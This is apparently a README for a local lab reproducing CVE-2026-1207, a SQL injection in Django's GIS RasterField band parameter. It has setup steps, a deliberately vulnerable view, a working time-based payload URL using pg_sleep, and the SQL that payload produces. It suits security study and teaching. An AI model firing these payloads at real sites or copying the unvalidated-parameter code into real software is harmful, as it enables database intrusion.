
Django framework, al usar PostGIS para consultar datos de ráster geográfico, si la entrada de usuario sin validar se pasa directamente como parámetro de band index (índice de banda), se produce una inyección SQL.
漏洞类型: SQL 注入 (SQL Injection)
影响组件: django.contrib.gis RasterField
当使用 Django GIS 的 RasterField 进行查询时,band 参数被直接拼接到 SQL 语句中,导致 SQL 注入漏洞。攻击者可通过构造恶意的 band 参数值,注入任意 SQL 代码。
CVE-2026-1207/
├── .devcontainer/ # VSCode DevContainer 配置
├── .vscode/ # VSCode 配置
├── vuln/ # 漏洞演示应用
│ ├── models.py # 包含 RasterField 的模型
│ ├── views.py # 漏洞触发点
│ └── migrations/ # 数据库迁移文件
├── web/ # Django 项目配置
├── manage.py
├── README.md
该漏洞项目使用 VSCode 的 devcontainer 进行构建。
用 VS Code 打开已经存在的项目根目录(包含 .devcontainer 文件夹)。
按 Ctrl+Shift+P(Windows/Linux)或 Cmd+Shift+P(Mac)
输入 Remote-Containers: Reopen in Container
VS Code 会读取 .devcontainer 配置并构建容器(首次构建可能需要几分钟)
⚠️ 如果 Dockerfile 或依赖更新过,可以选择 Remote-Containers: Rebuild Container,确保使用最新环境。
打开命令面板 Ctrl+Shift+P
输入 Tasks: Run Task
选择 django:start(任务已在 .vscode/tasks.json 配置)
这个任务会在容器内启动 Django 开发服务器
默认监听 0.0.0.0:8087
打开浏览器访问:
http://localhost:8087
第一次运行可能需要执行数据库迁移:
python manage.py migrate
漏洞分析详情发表在 先知https://xz.aliyun.com/news/91993
访问以下 URL 触发 SQL 注入:
http://localhost:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--
观察响应时间,正常请求应立即返回,注入请求会延迟约 3 秒。
def get(self, request: HttpRequest):
band = request.GET.get("band", 1) # ← 未经过滤的用户输入
rast = GDALRaster(...)
qs = RasterModel.objects.filter(rast__contains=(rast, band)) # ← band 直接传入查询
print(qs.query) # ← 查看生成的 SQL
qs.count()
return HttpResponse("book app")
SELECT ... FROM vuln_rastermodel
WHERE ST_Contains("vuln_rastermodel"."rast", ST_ContainsParam(..., 1);select '1'||pg_sleep(3) --))
本项目仅供安全研究和教育目的使用。请勿在未经授权的系统上使用。